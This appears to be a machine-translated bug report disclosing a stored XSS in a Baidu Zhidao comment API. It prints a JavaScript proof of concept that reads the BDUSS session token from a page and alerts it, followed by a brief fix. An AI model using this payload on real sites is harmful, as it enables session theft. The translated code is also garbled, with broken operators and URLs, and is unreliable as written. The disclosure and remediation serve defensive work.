A sub-station XSS of Baidu can get BDUSS

A sub-station XSS of Baidu can get BDUSS
Is there a BDUSS http://zhidao.baidu.com/liuyan/detail in the truth Q & A machine? Id = 5809 now there is a lack of XSS that Baidu Knows, o -- o! I read the comments and loaded them in JSON format. The front-end page is filtered out. But the JSON request returns text/html without filtering <> http://zhidao.baidu.com/api/comment? App = article & thread_id = 10000005809 & method = get_reply & encoding = gbk & start = 0 & limit = 10 & r = 1425448854170

The next step is simple. Comments submitted:

Obtain the BDUSS using Ajax.

Var xmlhttp; if (window. XMLHttpRequest) {xmlhttp = new XMLHttpRequest ();} else {xmlhttp = new ActiveXObject ('Microsoft. XMLHTTP ');} xmlhttp. onreadystatechange = function () {if (xmlhttp. readyState = 4 & xmlhttp. status = 200) {var res = xmlhttp. responseText; var a = res. indexOf ('bduss'); var B = res. indexOf ('"});'); alert (res. substring (a, B) ;}} xmlhttp. open ('get', '/liuyan/detail? Id = 5809 ', true); xmlhttp. send ();

Solution:

Returns the correct response header. Filter. Do not show sensitive data on the page.